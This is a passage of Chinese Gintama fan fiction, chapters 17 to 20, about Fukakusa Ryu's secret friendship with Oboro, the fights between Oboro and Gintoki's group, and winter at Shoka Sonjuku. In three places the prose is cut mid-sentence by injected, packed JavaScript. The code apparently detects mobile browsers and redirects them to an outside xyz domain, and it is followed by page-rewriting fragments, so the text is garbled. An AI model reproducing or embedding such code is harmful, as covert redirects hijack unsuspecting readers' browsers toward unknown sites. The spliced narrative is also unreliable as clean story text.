三人进入熟悉的吵闹模式,深草琉自觉任务完成,正要若无其事退场,就被拽住了衣角,强大而熟悉的拉力,让他动弹不得。 “你要去哪里啊,阿琉?” 明明吃了上供的甜品,坂田·怨鬼·银时的怨气似乎半点没有消散,幽幽发问。 “不是说,会和我解释昨天晚上的事吗?” 桂小太郎一握拳,砸在手心,“对哦,我们是因为这件事才被银时叫过来的。” 毫不掩饰自己刚刚注意力被抢夺大福占据,他一本正经抬头,“阿琉,老实交代,昨晚去哪里,大福又是怎么离奇失踪的,不说实话的坏孩子,死后可是会下拔舌地狱的!” 高杉晋助尽管习惯了,有时也会对朋友的属性感到无语。 但他没说啥拆台,只看向了那位当事人。 当事人歪歪头,指了指干净的盘子,“那就是我的解释。” “这算什么解释?!我……” 坂田银时刚要生气,就听见深草琉平静的声音。 “不算的话,先还给我。” “嘎——” 所有指责戛然而止,坂田银时看看空荡荡的盘子,又看看深草琉冷静的表情,还有什么不懂的。 “你居然用这样的诡计来欺骗爸爸!今天你不把昨晚的事情交代清楚,休想出这个门!” 银白卷发的男孩张开双手,一脸坚毅,挡在了门前。 很有踏过尸体才能前进的味道了。 桂小太郎却感觉不妙,“银时,你先等等,冷静一下……” “冷静什么!阿琉已经变成坏孩子了,这就是现在最重要的问题!” 坂田银时正面迎上走过来的人,昂起下巴,“你最好乖乖认错,再买草莓牛奶过来……” 砰——! 坂田银时,零分倒地! 一击即中的黑发男孩,毫不犹豫跨过这具脸带红印的“尸体”,从容走了出去。连回头的动作都没有。 桂小太郎连忙跟到门口,也只看见一个冷酷至极的背影。 好似经典美式牛仔电影里,再也不会为什么停留的绝路枪手。 一瞬间,他对坂田银时胡乱说的叛逆期,有了诡异的感同身受。 “……阿琉,真的学坏了吧。” “醒醒吧你。”高杉晋助嘴角一抽,拍了下他的头,面对好友的不解目光,双手抱胸,冷淡道,“只有你们还沉浸在无聊的家庭肥皂剧里。你看不出来吗?那家伙已经不愿意陪你们一起玩了。” 这话一出,吵吵闹闹的房间如同被按下静音键,一瞬安静下来。 这股沉默,让说出这话的高杉晋助都感觉不对劲,甚至产生了是不是不该说得这么直白的淡淡悔意。 “不会的。” 打破寂静的,是刚刚从地上爬起来的人。 顶着一头乱糟糟银白卷发的男孩,说着笃定而清晰的结论。 “阿琉只是有些迷路了。所以,我们才需要去找回他。” 迷路什么迷路,讲这些没用的道路,和以为出走丈夫会回来的主妇一样蠢。 高杉晋助本该这么说的,可面对坂田银时的表情,不知怎么的,动了动嘴唇,只吐出一句冷哼。 希望深草琉真的只是迷路了。 他垂下眼眸,没有加入重新振作,兴致勃勃讨论起新计划的坂田银时和桂小太郎,只冷眼旁观,偶尔给出点无关紧要的回应。 毕竟在他看来。 深草琉是知道自己走在什么样的道路上的。 明明年纪比他们小,那双红宝石一样的眼睛里,却没有迷茫。 * 尽管深草琉严防死守,避而不答,但做过的事总有痕迹。 何况私下见面的另一方,对还在老师庇护下的小鬼们,天然便有高人一等的自满。 而自满与傲慢,往往就是出纰漏的开始。 胧最开始还没有意识到什么不对。 直到一个满头银白卷毛的小鬼头提着把木刀,傲然站在他面前,说出“你就是和阿琉私会的早恋对象”的时候。 他的第一反应是,深草琉肯定会生气了。 第二反应才是居然被人堵到了。 在天照院奈落算得上出名,身手也出色到受人瞩目的,胧,被三个刚到肩膀的小鬼堵住了? 说出去都让人笑掉大牙。 胧脸色微沉,他知道自己现在最该做的,是赶紧离开,免得真的惹出事端,被老师发现异常,也免得深草琉事后找他麻烦。 可看见面前稚嫩又不满的脸,他鬼使神差,开了口。 “你是为深草琉来的?” “不然呢?难不成找你一起去撒尿?老实交代,你到底是怎么哄骗我家单纯可怜的阿琉的!” 坂田银时边说,边踏出一步。动作随意,宛如吊儿郎当的街边混混。 他曾在战场上过活,也和吉田松阳对打过,见过的强者数不胜数,因此一眼就能看出,面前的少年很强,是远远超过现在的他,饱经磨砺的强大。 他嘴上还是一贯的没节操,实际上全身都肌肉绷紧,蓄势待发。 不止是他,连在左右两侧,围拢的高杉晋助和桂小太郎,也是一样严阵以待。 胧何其毒辣的感知,早就发现了在隐蔽处自以为藏得很好的另外两人,也不会错过眼前自称阿银的小鬼警惕的眼神。 今天他打扮成僧人过来,不仅头戴斗笠,还带了根禅杖。 僧人少年拉了下斗笠,手中禅杖一震,发出沉闷的声响。仅仅露出的下半张脸,嘴角翘起挑衅的弧度。 “我可没有哄骗他。要说哄骗,也是他想要哄骗我。” 这话里的信息量之大,叫三人都懵了一瞬。 但坂田银时立刻做出反应,抽刀上前,身形飞闪。 木刀与禅杖相交,闷重的声响,沿着震回的力道,传来发麻的手上。 坂田银时再次确定,眼前不是能打赢的对手。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352862|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却咬着牙,吐出冷冷的反驳。 “别骗人了!阿琉他啊,根本不会在意你这样奇怪又出家的家伙!” 桂小太郎与高杉晋助从旁侧支援,也跟着道。 “早恋,不适合阿琉啊!” “趁早放弃吧!” 谁也没有看见,原本神色还轻松的胧,一瞬间表情阴沉了下来。 * 深草琉今天的行程,是惯例和吉田松阳进行特训。 自从知道吉田松阳就是“虚”,名为天照院奈落的秘密暗杀组织的成员,他来学习得更加勤快了。 这是不可多得的机会,尤其是吉田松阳身上明显插了Flag的时候。 今日的结果,以惯例的输得一塌糊涂结尾。 深草琉躺在地上,满身的汗水几乎将他浸透,一瞬间产生了躺在水池里的错觉。但在水池里不可能一根手指都抬不起来,也不可能气喘如牛。 要说特训这么长时间,有什么地方是明显进步,大概就是他不再昏过去了。 吉田松阳收了木刀,缓步走到他身边,俯身询问,“需要帮忙吗?阿琉。” 深草琉边喘气,边思考到底什么时候开始,这群人都开始叫他名字这种没有意义的问题,“不、不用了。” 他一咬牙,用木刀作支撑,将软成面条的身体支了起来。 这个过程里,栗色长发的男人静静看着他吃力到下一秒好像就会倒下去的动作,没有露出一丝插手的意思。 有时候,深草琉会觉得这个人对学生的放任自流,到了一个非常可怕的程度。是那种即使以后的学生去做了凶穷极恶的坏人,也只会一边叹息,一边干脆利落把人砍了的可怕。半点不会产生劝人悔过的想法。 做出选择,然后对此负责。吉田松阳对待学生们的态度可以如此概括。 “阿琉,你最近去见了什么人吗?” 于是,面对吉田松阳仿若试探的话,深草琉的态度也很平静。 “嗯。”他顿了下,在喘息的间隙里,又补充,“是新认识的朋友。” “认识新朋友是好事。”吉田松阳以此开端,“但或许该和其他人说一说,银时他们很担心你。” “我明白了。”在这人面前,深草琉向来表现得乖顺,“我会去说的。” 到了这里,这次的特训就算结束了,平常都是如此,这次也没有例外。 深草琉道谢,拎着木刀慢吞吞往外。 吉田松阳看着他的背影,顿了下,还是又问了一句。 “阿琉,你找到重要的东西了吗?” 黑发男孩脚步稍停,没有回头,轻轻点头。 似乎是个“嗯”。 但落在后方的师长却垂下眼眸,再次叹息,“还是个笨拙的孩子啊。” 尽管答应了要说交朋友的事,深草琉也只打算随便糊弄两句,让坂田银时不要纠结这个问题,又来找麻烦。 可他没想到,会见到三个鼻青脸肿看不出原型的家伙。 深草琉对三个“猪头脸”面面相觑,不知道是不是错觉,对方看过来的眼里含着热泪,简直像是见到好不容易找到的亲人。 但这不可能吧。 他低下头,很有礼貌地,“抱歉,走错了。” 唰一声,关上门。 还没迈开步子,门再度被打开,传来震天动地的呼喊。 “阿琉,我是银时爸爸啊!” “阿琉,我是妈妈啊!” “我不是,别带上我。” 18. 第 18 章 “所以,你们是被谁打成这样的?” 误会解除,深草琉盘腿坐在垫子上,手肘撑着下巴,若有所思地打量对面三个鼻青脸肿的人。 坂田银时他们三个实力不差。 起码在松下私塾,除了会输给彼此,以及深草琉,基本可以说是打遍天下无敌手。这附近的小孩子就更不用说了,给他们仨练手都不配。 如果说是吉田松阳把人揍成这样,倒不是没有可能。 可深草琉才从吉田松阳那回来。 总不能说,吉田松阳还有分身术,可以在特训他的时候,又去暴打了一顿其他人吧。 他心里隐隐有个不好的猜测……希望不要成真。 坂田银时半个屁股坐在垫子上,像是上面有根刺,稍一动作就龇牙咧嘴,发出轻嘶。 听见深草琉问话,马上翻账本。 “阿琉你刚刚都没有认出来我,实在太伤我的心了,如果没有一箱草莓牛奶,一盒子大福,这道伤口就会变成我们父子之间永恒的隔阂了!” 深草琉无视他,看向最靠谱的桂小太郎。 “所以,到底和谁打了?” “什么打?我们只是去拽悬崖上的最后一朵花,然后不小心摔了一跟头。” 最靠谱的桂小太郎尽管左眼乌青,但语气自然,态度诚恳。 如果他说的不是昨天听的故事里,男主为了救女主去悬崖采花的剧情,或许还真有几分可信度。 深草琉毫不停留,看向最后一个可能说真话的深紫短发猪头脸。 “摔倒的。” 右眼乌青的高杉晋助,以一句简短的发言,结束了自己的环节。 于是深草琉再次看向坂田银时。 坂田银时选手也做好了准备,一套有头有尾的胡说八道,即将脱口而出。 “既然是摔倒的,那就没有办法了。我原以为是谁揍了你们,打算为你们报仇雪恨呢。” 结果黑发红眸男孩轻飘飘一句,揭过了这茬。 坂田银时瞪大眼,还没来得及说什么,就看见深草琉起身打算走了。 他一个饿虎扑食,猛地拽住了深草琉的大腿,大声哭诉。 “我们都伤得这么严重,你居然一点也不关心我们,没有大福就算了,连口头的安慰都没有了吗?!呜呜呜,阿银我养了个坏孩子,还没到叛逆的年纪,已经如此冷漠了吗?现在的教育体系实在太糟糕了……” 除去一点泪水也没有的眼睛,这副哭诉还挺像模像样,抨击时代环境又抨击现在的教育理念,几乎叫人幻视闲着没事念叨政治的中年男人。 深草琉毫无动容,盯着抱大腿的人。 “是你们先骗我的。” 坂田银时一顿,有些心虚地移开视线,又想起来什么,重新理直气壮了。 “明明是你先有事瞒着我们的。” 深草琉略一思考,想起来吉田松阳叮嘱的话,非常痛快地宣布,“哦对,忘了说,我交了一个朋友。” 这话一出,齐刷刷三双眼睛看了过来。 “什么朋友?男的女的,雄的雌的?” “阿琉你居然是会交朋友的人!为什么不让我们见见?” “为什么现在愿意告诉我们了?” 放在平时,被三人同时盯着可能还有点压迫。 但现在,深草琉面对三双乌青的眼睛只想笑,他挑挑拣拣随便答了。 “松阳老师说我应该告诉你们这件事。两个月前认识的,最近我偶尔会出去见他。他来的次数不多,也比较孤僻,请别去打扰他。” 明显带了回护意味的话,听得坂田银时心底泛酸。他都没有享受过阿琉如此明显的偏袒! 他几乎想也不想,张口就劝。 “阿琉,现在外面的人很可怕的,经常有那种伪装成和善的僧人,结果背地里杀人放火的坏人。你可不要被骗了!” 一句话套出了底细。 桂小太郎想拉都来不及。高杉晋助更是直接叹了口气。 不管是猜的还是无意的,确实说中了,深草琉眯了眯眼,点头,“原来……如此。” 不妙的预感还是成真了,坂田银时他们就是去见了胧,还被揍了一顿。 以胧的性格看,估计是这三人先挑衅的。 深草琉抽出被抱着的腿,往后退了一步,拉开距离,望着三张青青紫紫的脸蛋,语重心长。 “我的朋友很强,是你们现在远远不及的强大。随便招惹他,说不定连命是怎么丢掉的都不知道。为了小命着想,如果不小心遇见了,最好还是乖一点,不要随便靠近陌生人。” 深草琉不经常劝告别人,通常都是别人劝他。 虽说主角一般不会轻易死,但万一被打残也怪麻烦的,他给出忠告完全是出于难得的微末好意。毕竟举例的话,现在才十级的坂田银时他们,肯定打不过已经五十级的胧。 况且他感觉现在还不是胧和坂田银时见面的时候。 深草琉想得挺好,偏偏不知道自己说出口的话和语气,简直是踩着坂田银时三人的神经跳舞。 一口一个对方强,不就是暗指坂田银时他们弱。 说不要招惹,丢掉小命,不就是说他们没资格和对方打? 三人脸色沉了下去,心说他们怎么被小看到这种程度,如果不给那个所谓的朋友一点教训,当真是要被看扁了! 那个好似看扁他们的人还在问。 “明白了吗?” 坂田银时狞笑,几乎从牙缝里挤出字句,“哈、哈,我们当然知道了。” 桂小太郎幽幽答:“清楚得不能再清楚了。” 高杉晋助青紫的脸凶狠也异常,“是啊,多亏了你。” 三人眼神交流间,定下了统一的目标——偷袭也好,群殴也好,打赢那家伙! 深草琉见他们答得痛快,感觉哪里不对,但具体又说不上来,问个两句,这三人又十足默契,东扯西扯,没个关键。 他只得换个方向努力。 就算坂田银时他们另有想法,胧也不是那么无聊的性格,一看就刻板冷漠的反派,肯定不会陪这群家伙再闹了。 他自信满满,在三天后的傍晚,又一次见到了胧。 “胧,你今天来得挺晚,是发生什么……” 未尽的话音,在对方转过身时,梗在了喉咙里。 树丛的阴影里,光线并不灼热。浅灰波浪卷发的少年,戴了斗笠,穿着一身浅蓝色衣服,一副再正常不过的姿态。 深草琉表情空白了一瞬。 胧是个合格的秘密组织杀手,各项技能都学得很好。 比如无声无息的脚步、快得看不清的步伐、绝佳的武艺,以及伪装的技巧。 在此之前,胧每次都会精心装成普通路过的少年,还是那种普通到不出挑,让人一眼就忘的类型。 所以才能来了好几次,附近也没有人对他起疑。 除了那一次大晚上满身血气的来找过深草琉,从没有出过错。 可现在不一样了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358334|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袖口破碎的布条参差不齐,不羁地垂落,还沾了血迹。肩头到胸口一道长长的裂口,像是被人一刀划开。裤腿皱皱巴巴,灰黑的痕迹相间,还残留着圆点状的褐色。 任何一个看见他的人,都能一眼明白两件事。 这不是个善茬,以及,这个人刚刚打过架。 深草琉掀起眼皮,又细细打量了一番面前这个人,下了定论——是他小看银时他们的挑衅功力了。 胧不知道面前人在想什么。 听见了之前的半句话,他如往常那般,平静回答。 “今天有点事,才来迟了。” “有事?什么事?” 胧有些惊讶。 这是深草琉第一次细问他做了什么事。 大概是那一次晚上见面,他算是半露了身份的底,两人有了默契。深草琉几乎从不细问他的任务,还会主动避开这个话题。 他一直觉得,深草琉是有点体贴的,察觉到他对任务没有什么好想法,所以善解人意,从来不戳他这道伤口。 没想到今天反倒追问了一句。 胧注意到深草琉的视线在自己身上,尤其是破损的地方停留的时间会更长。 心下便有些柔软,他难得温和了声音解释,“你不用担心,我这个……” 他想起来那三个穷追不舍、大言不惭的小鬼,顿了下,才说,“我没有受伤,只是任务出了一点意外。” 言下之意,是为了任务收尾才导致的惨样。 我信你个鬼,当我是傻子吗? 深草琉默默看着他,突然来了一句, “你的任务,该不会是殴打三个混蛋小鬼吧。” 胧一惊。 但快速收敛情绪,疑惑道,“你在说什么?” 作为天照院奈落的一员,会和普通人打架就已经够丢脸,更何况是和三个年纪比他小的男孩。 甚至还叫他们伤到了他。 现在他的左肩膀还隐隐作痛。这种丢脸的事,怎么能让深草琉知道! 深草琉没从浅灰发少年脸上看出破绽。 很好,比坂田银时他们的道行高深,不愧是年纪更大一点的肮脏人类。 不过这种事瞒着他又有什么意义? 他想不通,估计问也问不出什么,便同样给出忠告。 “说起来,我有三个同窗。” 第一次听深草琉主动提及自己,胧立刻不着痕迹竖起耳朵,目光看了过来。 “他们天赋很高,很得老师看重,如果多学几年,大概能赶得上你。但目前还很莽撞,容易冲动行事。如果你遇见了,不要和他们打。他们还需要时间成长。” 深草琉自认平平无奇的劝说,落在胧的耳朵里,可以翻译成一句话。 老师很看重我的同窗,他们很快就能打赢你了。 胧脸色难看了起来,手指都捏得泛白。他最厌恶的,就是得到了老师庇护却没有自知之明的这群家伙! 在斗笠的遮挡下,深草琉没看出来问题。 只听见胧咬着牙,应了一声。 “呵、我知道了。” 声音有点怪,感冒了吗? 深草琉想了想,感觉应该搞定了,胧可不是个无聊的家伙。 以后应该不会见到这些人打起来鸡飞狗跳、干扰计划的样子了。 结果第二天。 他拉开客厅门,一抬眼。 又是三张熟悉的猪头脸。 深草琉:“……” 19. 第 19 章 深草琉不明白这几人是怎么搅合上的。 明明说好了一起当欺压主角的反派,结果胧瞒着他,偷偷和坂田银时三人见面。 他问起这件事,还嘴硬说是任务造成的。 坂田银时等人就更不用说,咬死了是摔倒造成的。再问就是不小心又摔倒在同一个坑里了。 “那个坑在哪里?能连续一周能让你们摔得鼻青脸肿,我也很好奇。” 黑发男孩唇角扬起,红宝石似的眼眸微弯,看上去是个再标准不过的微笑。 却因为笑意仅仅浮于表面,而显出一股异样又隐晦的压迫感。 放在漫画的表现形式里,背后应该要开一大片黑色大丽花了。 坂田银时和深草琉相处这么久,当然知道这是兴师问罪的前兆。 他冷汗直流,眼珠乱转,不敢与人对视,结巴道。 “那个,就是那个啊,假发也知道的那个!是吧!” 被拖下水的桂小太郎条件反射,先驳了一句,“不是假发,是桂!” 抬头正好对上深草琉皮笑肉不笑的表情,他浑身一僵,顿时也扭开脸,视线乱飘。 “咳,对,是那个,嗯嗯,没错,晋助你说对吧!” 最后被点名的高杉晋助一惊,看见两个眼角抽搐,不知道在暗示什么破玩意的垃圾同窗。 他磨了磨后槽牙,很想直接把两个混蛋底都掀了。 偏偏不巧的是,他们仨的老底是一样的。 “在一郎家隔壁的山上。我们在那里摔倒的。” 高杉晋助面无表情道。 一郎是学堂里学生之一,家里是猎户,隔壁是一座不出名的山,大人们或许知道名字,孩子们统一喊“那座山”。有时坂田银时等人会去那座山上玩耍,说是在山里摔倒也不出错。 更关键的是,山里崎岖的地方多的是,想要查证随便找个坑就行。 实在是个极好的借口。 “对对对,就是那座山。” “没错!” 坂田银时和桂小太郎一边应和,一边给了高杉晋助一个“goodjob!” 深紫短发的武士家长子想翻白眼,但还是默默担下了所有。 深草琉将三人的互动尽收眼底,难得反思起来,他是不是平时太好糊弄了,才给这三人这样乱说的底气? 但深究又有什么意义呢? 仔细一想,他不想让胧和坂田银时他们见面,只是为了防止胧的反派身份提前暴露,导致剧情出现差错,没法进行捉拿叛徒的后续,阻碍他转入反派路线。 可现在看来,情况没到那么糟糕的地步。 深草琉动了动腿,换了个坐姿,托着下巴,似乎认可了那个答案,怒气消散,神色平静地劝了一句。 “人不能,也不该总在同一个地方摔倒。那种容易摔的地方,还是不要去了吧。” 这话暗含深意,坂田银时一瞬间产生了是不是没骗成功的错觉,但下一秒,他还是忙不迭点头,“当然!” 不管心里怎么想,三人表面还是嗯嗯啊啊应下了。 深草琉言尽于此,不打算再管。 再次见到衣服破损的胧,他也用同样的表情开口。 “我不明白,你为什么要一直和他们打。” 一句话撕开遮遮掩掩的面纱,即使是胧,也知道没有隐瞒的意义了。 浅灰色波浪卷发的少年瞥了他一眼,低声道,“为什么不能和他们打?而且是他们先找上门来的。” 这话细听之下,含了一丝浅薄的委屈与烦闷。 但深草琉一心扑在反派事业上,半点没有体察别人的细腻。 他直言不讳,“以你的实力,那样的伤势连手下留情都不算,等于给他们喂招。你不是很讨厌他们?让他们成长,不怕未来赢过你吗?” 胧讨厌吉田松阳教育并庇护的学生们。 这个结论不是胧告诉他的,而是从日常的对话与举止中观察出来的。 如果不是讨厌,不是憎恶,不是嫉恨,深草琉很难理解对方远远看着松下村塾的复杂表情。 说到这里,胧好似才想起来自己还有这个设定,脸色变了变。 “不用你说。” 他又拉下斗笠。每次他不想让深草琉看见表情的时候,好像都会做这个动作。 “我知道该怎么做。” 深草琉看见他绷直的下巴,抿紧的唇瓣,攥着禅杖发白的指节。这些特征传达的信息如此鲜明,让人忽视都不行。 黑发男孩沉默片刻,漠然转过头,语气轻飘又随意。 “下次你说这话的时候,该照照镜子。” 反派向来洗白弱三分。 但在洗白之前,大多数反派就会死了。不是他们不够强,也不是不够好运,只是一个再简单不过的原因。 ——他们动摇了。 从那之后,深草琉几乎不去见胧了。 胧一开始不明所以,还以为深草琉没有接收到他的暗号,特意来松下村塾多转了几圈。 连附近的大爷都觉得他奇怪,举着长叉,警惕问他来回转悠是不是想偷东西。 胧才反应过来,不是深草琉没看见,是深草琉不想来见他。 可为什么? 长这么大,胧关系亲密的人,除了之前的“虚”,也只有一个深草琉。他原以为,他们即使没有师兄弟关系,也算是朋友的。 胧有些挫败,也有些愤怒,更有微妙的酸涩。 这些情绪使然,他和谁斗气一样,也不去见深草琉了。 相反,坂田银时等人变成猪头的日子一天天变多了。 时间久了,深草琉慢慢产生了一种坂田银时本来就长这样的错觉,见到肿得爹妈都认不出的脸也不奇怪了。 值得一提的是,吉田松阳竟然也不觉得有什么问题,听银时他们说是摔倒,笑呵呵叮嘱了一句下次小心,就不再多说。 这位老师从某一天开始,对训练深草琉的兴趣超过了其他。 从隔几天拉他一起对打,到后来三不五时,最后几乎天天都打。 “你很有天赋。无论教你什么,你都能快速适应,并逐渐跟上。” 栗色长发的男人说这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367451|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话的时候,眼底划过深沉的叫人看不懂的情绪,语气依旧温和。 “多亏了老师的教导。” 深草琉已经不再会在对打中瘫倒,握刀站得稳稳的。 “但是还不够。” 前一秒才夸过他的男人,出手快得眼睛都跟不上。 砰。 今日又是败北。 可恶,即使是深草琉都忍不住想骂一句,吉田松阳的强度也太超模了吧! 这是BUG! 听见了吗?世界赶紧修复啊! 重复的日子过得很快,秋天的最后一片叶子落下,寒风卷着雪花飘落。呼出的气变白,衣服换成了厚实的棉麻,屋子也放上被炉。 深草琉迎来了这个世界的第一个冬天。 连续下了好几天的雪,夜晚都能听见扑簌簌的风吹雪,雪停时,整个松下村塾里外都被雪层堵住,成年人一脚下去就是个到大腿的深坑。 像深草琉这样的小孩子更是直接下去半个身体,再矮一点找都找不到。 吉田松阳提前给学生们放了假,倒是不担心这方面。 但雪是要扫开的,于是他动员了居住在松下村塾的四人——桂小太郎、高杉晋助、坂田银时、深草琉。 高杉晋助脱离自己的武士家,没了去处,便寄住在这。 桂小太郎倒是有地方去,但前几天下大雪他没来得及回去,被困在这,也将就住了下来。 深草琉对铲雪没有意见,去杂物间拿了桶和铲子,还没走几步,就见一个眉清目秀的银白卷毛挡在自己面前。 他打量了好一会,迟疑开口。 “你是谁?” 这里还有别的小孩? 只是一句普通的问话,谁知道那银白卷发的男孩瞪大了眼睛,怒不可遏似的,蹭蹭蹭撞过来,额头抵着他的,大声斥责,“你连阿银都不认识了吗?!昨天晚上,还是我帮你压被角的!” 这熟悉的声音与口吻,啊,是主角来着。 深草琉一手握拳,敲了敲手心,“原来是你啊。” 看见那张肿胀的脸次数太多,都不认识了。 “什么叫原来!” 坂田银时一开始还以为深草琉是捉弄他,现在看他这恍然大悟的样子,脑子一转就抓住了关键,牙齿咬得咯吱响。 “阿琉,你不会是真的忘记我长什么样子,以为我长成那副鼻青脸肿、眼睛乌青的样子了吧?不会吧,肯定不会吧?” “怎么会呢,我记得你的长相的。” 黑发男孩毫不停顿,露出了标准又礼貌的笑容。 “是吗?”坂田银时却已经不相信了。 他转身跑远,不一会儿手中拽了一个深紫发的男孩过来,推到深草琉面前。 “这是谁?” 深草琉的目光在对方的衣着与发色停了一会,很快回答,“高杉晋助。” 坂田银时双手交叉,发出“咘咘”的错误声响,一把拽走“高杉晋助”的深紫短发,露出一把黑色长发。 “回答错误,是假发!” “不是假发,是桂!” 20. 第 20 章 深草琉暴露了自己没记住脸的事实,被逼着将三人的脸挨个看了一遍。 要不是他保证还没忘记吉田松阳的脸,恐怕还要被拉到对方面前强行认一遍。 “一定要记住了!”坂田银时一脸严肃,煞有其事,“以后你出去,可不能被随随便便一个卷毛给骗走了!” 深草琉瞥他一眼,心想世界上最会胡说八道的卷毛已经在面前了,怎么可能还有别的骗子。 大概是深草琉态度良好,坂田银时哼哼了两句也就没有再说什么了。 只是一个劲强调。 “千万不要记错了哦。” “我知道。” “即使有一天,阿银变成胡子拉碴、肥胖变形的中年大叔,你也不能认不出我来哦。” “……哦。” 恐怕做不到,中年大叔和童稚的孩童之间隔着的,可不是单纯的年龄差距,还有发福的身体和肮脏污秽的心灵。 啊,如果单纯论心灵,坂田银时已经是中年大叔了吧。 坂田银时:“即使我变成白发苍苍、脸皱得像菊花一样的老爷爷,你也要认出来啊!” 又一句关于以后、未来的话。 深草琉终于感觉不对劲了。 他盯着银白卷发的男孩,“你想说什么?” 简直像提前预感到他会离开,会有分开的时光,而喋喋不休的父母一样。 平日都没脸没皮、让人怀疑是不是出生开始就丢了节操的人,这个时候反倒扭开脸,别过眼,不敢看他似的,嘴上含糊。 “反正你要答应我。” 深草琉定定看了他一眼,带着小铲子出门除雪,丢下一句。 “才不要。” 这话难得有符合年龄的任性,坂田银时愣了一下。 这短短时间,眼前只剩个矮小的背影,他才急匆匆追上去。 “为什么不答应,说好了不会记错的!阿琉你太狡猾了!” 银白卷毛的大呼小叫,一如既往没有得到回应。 作为拒绝的代价,深草琉被坂田银时缠了一段时间。字面意义上的,纠缠。 洗澡、刷牙、吃饭、睡觉、练习、散步,上厕所,无论什么时候,什么地点,什么情况,只要一松懈,背后冷不丁都会出现一句,“你还记得我吗~” 语气之幽怨、口吻之哀愁,堪比地狱爬上来的鬼魂。 足以吓得普通人三魂七魄都飞了。 第一回,深草琉还以为是上次那个抢单的鬼魂又来了,下意识重拳出击,狠狠给了一肘子。 直到看清躺在地上的银白卷毛,才反应过来。 “你做什么?” “哼。”坂田银时趴在地上,却是根本不符此刻情形的嚣张语调,“这是必要措施。” 深草琉完全不懂他为什么在这方面如此执着,沉默片刻,难得真心实意道。 “这样下去,比起记住你的长相,或许我会记住怎么揍你。” “你怎么能这样对我!”坂田银时在地上打滚,又开始撒泼耍赖,“阿琉你已经不爱我了吗?呜呜呜枉费我当初一把屎一把尿,含辛茹苦把你养大……” 真像个小孩子,不对,他们确实是小孩子。 废话听多了,深草琉免疫力大大提升,面不改色,直接绕过地上的不明生物走远了。 后来次数一多,深草琉真养成了条件反射,一旦有人从背后接近,就直接动手。这习惯不小心殃及了桂小太郎和高杉晋助,两人抱怨过好几次。 这一场持续数日的闹剧,最后还是吉田松阳劝了一顿,才让坂田银时停了下来。 “越是急迫想要抓住的东西,丢得越快哦。” 栗色长发的男人语重心长,“再这样下去,你会被阿琉讨厌的。而且,其实你已经不生气了吧。” 坂田银时鼓了鼓脸颊,没办法反驳。 他一开始确实是生气的,后来嘛,确实没那么生气了,只是想看看深草琉不同的反应罢了。 “好了好了,反正也快腻了。”银白卷发的男孩双手在后脑交叠,满不在乎似的,“也该换新的玩法了。” 刻意表现出的情绪,在师长看来,反倒映出了真实想法。 吉田松阳忍不住笑了下,伸手揉了揉不成器弟子的头发。 “别担心。无论什么时候,阿琉他都很看重你。” 在他看来,与其说坂田银时故意吓人,不如说,这是坂田银时希望能在深草琉心中留下深刻印象的方式。 “什么啊。”坂田银时很不领情,打开老师的手,“他怎么想都行,反正……下次不能连我都认不出来了。” 吉田松阳不置可否。 这两个孩子,一个看上去和谁都处得来,实则冷心冷情。 一个看上去吊儿郎当,实则重情重义。 大概因此,也难怪坂田银时会隐隐着急……毕竟深草琉连他这个最重要的人,好像都不太在意了。 * 冬天到来,新年也就快了。 松下村塾按照惯例,给学生们放了假。往日热闹的松下村塾里,只剩下了坂田银时等人,清冷不少。 但论制造出的噪音,他们足够顶几十人了。 吉田松阳早有规划,按照区域,将学生们安排去进行大扫除。 “这是扫除旧年污秽,以崭新、洁净的心态迎来新年的重要仪式哦。” 他说着,将扫除工具一一派发下去。 深草琉不免多看一眼。 正常的家庭对于大扫除顶多说一句“新年前当然要大扫除啦”的敷衍话。 吉田松阳这么郑重其事,反倒显出一点怪异。 就像不将这件事视为理所当然,脱离日常太久的人,笨拙模仿正常人的生活。 不过似乎只有他觉得有点奇怪,其他人,特指坂田银时为首的三人,抱怨了两句,也就老实干活了。没有人在意这点无所谓的破绽,好像习惯了吉田松阳偶尔表现出那一点不同于常人的地方。 从这点来看,吉田松阳的前秘密暗杀组织成员身份,确实隐藏得很好了。 大扫除花了三天,然后就是装饰门饰,以及写贺年卡。 前者由坂田银时三人完成,后者主力是吉田松阳,副手是深草琉。 这个安排蛮奇怪的,深草琉帮忙写的时候还有点奇怪,“比起我,桂小太郎或高杉晋助不是更擅长这方面吗?” 贺年卡是要写给亲友、同事之类亲近的人,表达感谢以及祝福。 深草琉虽说课业没什么问题,但他来这个世界没多久,亲近的人只局限在松下村塾,想要感谢和祝福的人,约等于没有。 难不成吉田松阳是想培养他的感恩之心? 他思忖着,却见栗色长发的老师对他微微一笑。 “小太郎和晋助确实能做好。但阿琉你去装饰门饰的话,个子可就不够了。” 